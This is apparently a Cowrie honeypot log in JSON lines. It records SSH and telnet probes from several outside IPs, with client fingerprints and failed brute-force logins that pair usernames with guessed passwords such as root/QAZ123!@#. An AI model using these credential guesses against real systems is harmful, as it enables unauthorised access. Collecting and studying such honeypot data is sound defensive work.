{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:17:02.919655Z","src_ip":"171.244.143.209","session":"e433d19d35ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QAZ123!@#","message":"login attempt [root/QAZ123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:17:03.977847Z","src_ip":"171.244.143.209","session":"e433d19d35ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:17:05.242207Z","src_ip":"171.244.143.209","session":"e433d19d35ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":43002,"dst_ip":"159.203.135.109","dst_port":22,"session":"2f9ffc88ba2c","protocol":"ssh","message":"New connection: 159.203.92.129:43002 (159.203.135.109:22) [session: 2f9ffc88ba2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:17:10.801427Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:17:10.806473Z","src_ip":"159.203.92.129","session":"2f9ffc88ba2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:17:10.811378Z","src_ip":"159.203.92.129","session":"2f9ffc88ba2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alias","password":"abc123","message":"login attempt [alias/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:17:10.822701Z","src_ip":"159.203.92.129","session":"2f9ffc88ba2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:17:11.829540Z","src_ip":"159.203.92.129","session":"2f9ffc88ba2c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.13.124.212","src_port":36084,"dst_ip":"159.203.135.109","dst_port":22,"session":"f43f369c0446","protocol":"ssh","message":"New connection: 124.13.124.212:36084 (159.203.135.109:22) [session: f43f369c0446]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:17:13.988397Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:17:13.993693Z","src_ip":"124.13.124.212","session":"f43f369c0446","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:17:14.236219Z","src_ip":"124.13.124.212","session":"f43f369c0446","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"teamspeakserver","message":"login attempt [root/teamspeakserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:17:15.237430Z","src_ip":"124.13.124.212","session":"f43f369c0446","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:17:16.481982Z","src_ip":"124.13.124.212","session":"f43f369c0446","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.3.223.94","src_port":59972,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7b6ddac266e","protocol":"telnet","message":"New connection: 195.3.223.94:59972 (10.17.0.5:23) [session: e7b6ddac266e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:17:51.346615Z"}
{"eventid":"cowrie.session.connect","src_ip":"195.3.223.94","src_port":59956,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a2606a9d202","protocol":"telnet","message":"New connection: 195.3.223.94:59956 (10.17.0.5:23) [session: 7a2606a9d202]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:17:53.367143Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":43452,"dst_ip":"159.203.135.109","dst_port":22,"session":"e481e31895bb","protocol":"ssh","message":"New connection: 159.203.92.129:43452 (159.203.135.109:22) [session: e481e31895bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:17:56.142114Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:17:56.147220Z","src_ip":"159.203.92.129","session":"e481e31895bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:17:56.151992Z","src_ip":"159.203.92.129","session":"e481e31895bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alias","password":"alias","message":"login attempt [alias/alias] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:17:56.165628Z","src_ip":"159.203.92.129","session":"e481e31895bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:17:57.172506Z","src_ip":"159.203.92.129","session":"e481e31895bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.195.89.96","src_port":39239,"dst_ip":"159.203.135.109","dst_port":22,"session":"97708b84f54a","protocol":"ssh","message":"New connection: 119.195.89.96:39239 (159.203.135.109:22) [session: 97708b84f54a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:18:00.562042Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:18:00.567065Z","src_ip":"119.195.89.96","session":"97708b84f54a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:18:00.760608Z","src_ip":"119.195.89.96","session":"97708b84f54a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"654321","message":"login attempt [hadoop/654321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:18:01.565722Z","src_ip":"119.195.89.96","session":"97708b84f54a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.248.78.71","src_port":46604,"dst_ip":"159.203.135.109","dst_port":23,"session":"b7a922cc1ba2","protocol":"telnet","message":"New connection: 45.248.78.71:46604 (159.203.135.109:23) [session: b7a922cc1ba2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:18:02.538678Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:18:02.762263Z","src_ip":"119.195.89.96","session":"97708b84f54a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.59.22.234","src_port":42660,"dst_ip":"10.17.0.5","dst_port":23,"session":"619e532d93cf","protocol":"telnet","message":"New connection: 2.59.22.234:42660 (10.17.0.5:23) [session: 619e532d93cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:18:04.437779Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.59.22.234","src_port":43398,"dst_ip":"10.17.0.5","dst_port":23,"session":"59e60d697410","protocol":"telnet","message":"New connection: 2.59.22.234:43398 (10.17.0.5:23) [session: 59e60d697410]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:18:05.441563Z"}
{"eventid":"cowrie.session.closed","duration":0.022304058074951172,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:18:05.463734Z","src_ip":"2.59.22.234","session":"59e60d697410","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.59.22.234","src_port":43566,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe855e919dd3","protocol":"telnet","message":"New connection: 2.59.22.234:43566 (10.17.0.5:23) [session: fe855e919dd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:18:05.656838Z"}
{"eventid":"cowrie.session.closed","duration":0.009064674377441406,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:18:05.665797Z","src_ip":"2.59.22.234","session":"fe855e919dd3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.59.22.234","src_port":43810,"dst_ip":"10.17.0.5","dst_port":23,"session":"90d04e571d95","protocol":"telnet","message":"New connection: 2.59.22.234:43810 (10.17.0.5:23) [session: 90d04e571d95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:18:05.911322Z"}
{"eventid":"cowrie.session.closed","duration":0.00550079345703125,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:18:05.916687Z","src_ip":"2.59.22.234","session":"90d04e571d95","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.143.209","src_port":55364,"dst_ip":"10.17.0.5","dst_port":22,"session":"4af48fd6a4ad","protocol":"ssh","message":"New connection: 171.244.143.209:55364 (10.17.0.5:22) [session: 4af48fd6a4ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:18:06.685672Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:18:06.700830Z","src_ip":"171.244.143.209","session":"4af48fd6a4ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:18:06.948073Z","src_ip":"171.244.143.209","session":"4af48fd6a4ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"q0000000","message":"login attempt [root/q0000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:18:07.954107Z","src_ip":"171.244.143.209","session":"4af48fd6a4ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":4.590748310089111,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:18:09.028418Z","src_ip":"2.59.22.234","session":"619e532d93cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:18:09.197886Z","src_ip":"171.244.143.209","session":"4af48fd6a4ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.13.124.212","src_port":53612,"dst_ip":"159.203.135.109","dst_port":22,"session":"7891796a69b8","protocol":"ssh","message":"New connection: 124.13.124.212:53612 (159.203.135.109:22) [session: 7891796a69b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:18:12.972348Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:18:12.977358Z","src_ip":"124.13.124.212","session":"7891796a69b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:18:13.237003Z","src_ip":"124.13.124.212","session":"7891796a69b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"smbuser","password":"12345678","message":"login attempt [smbuser/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:18:14.239251Z","src_ip":"124.13.124.212","session":"7891796a69b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:18:15.484736Z","src_ip":"124.13.124.212","session":"7891796a69b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.01724600791931,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:18:23.363615Z","src_ip":"195.3.223.94","session":"e7b6ddac266e","protocol":"telnet"}
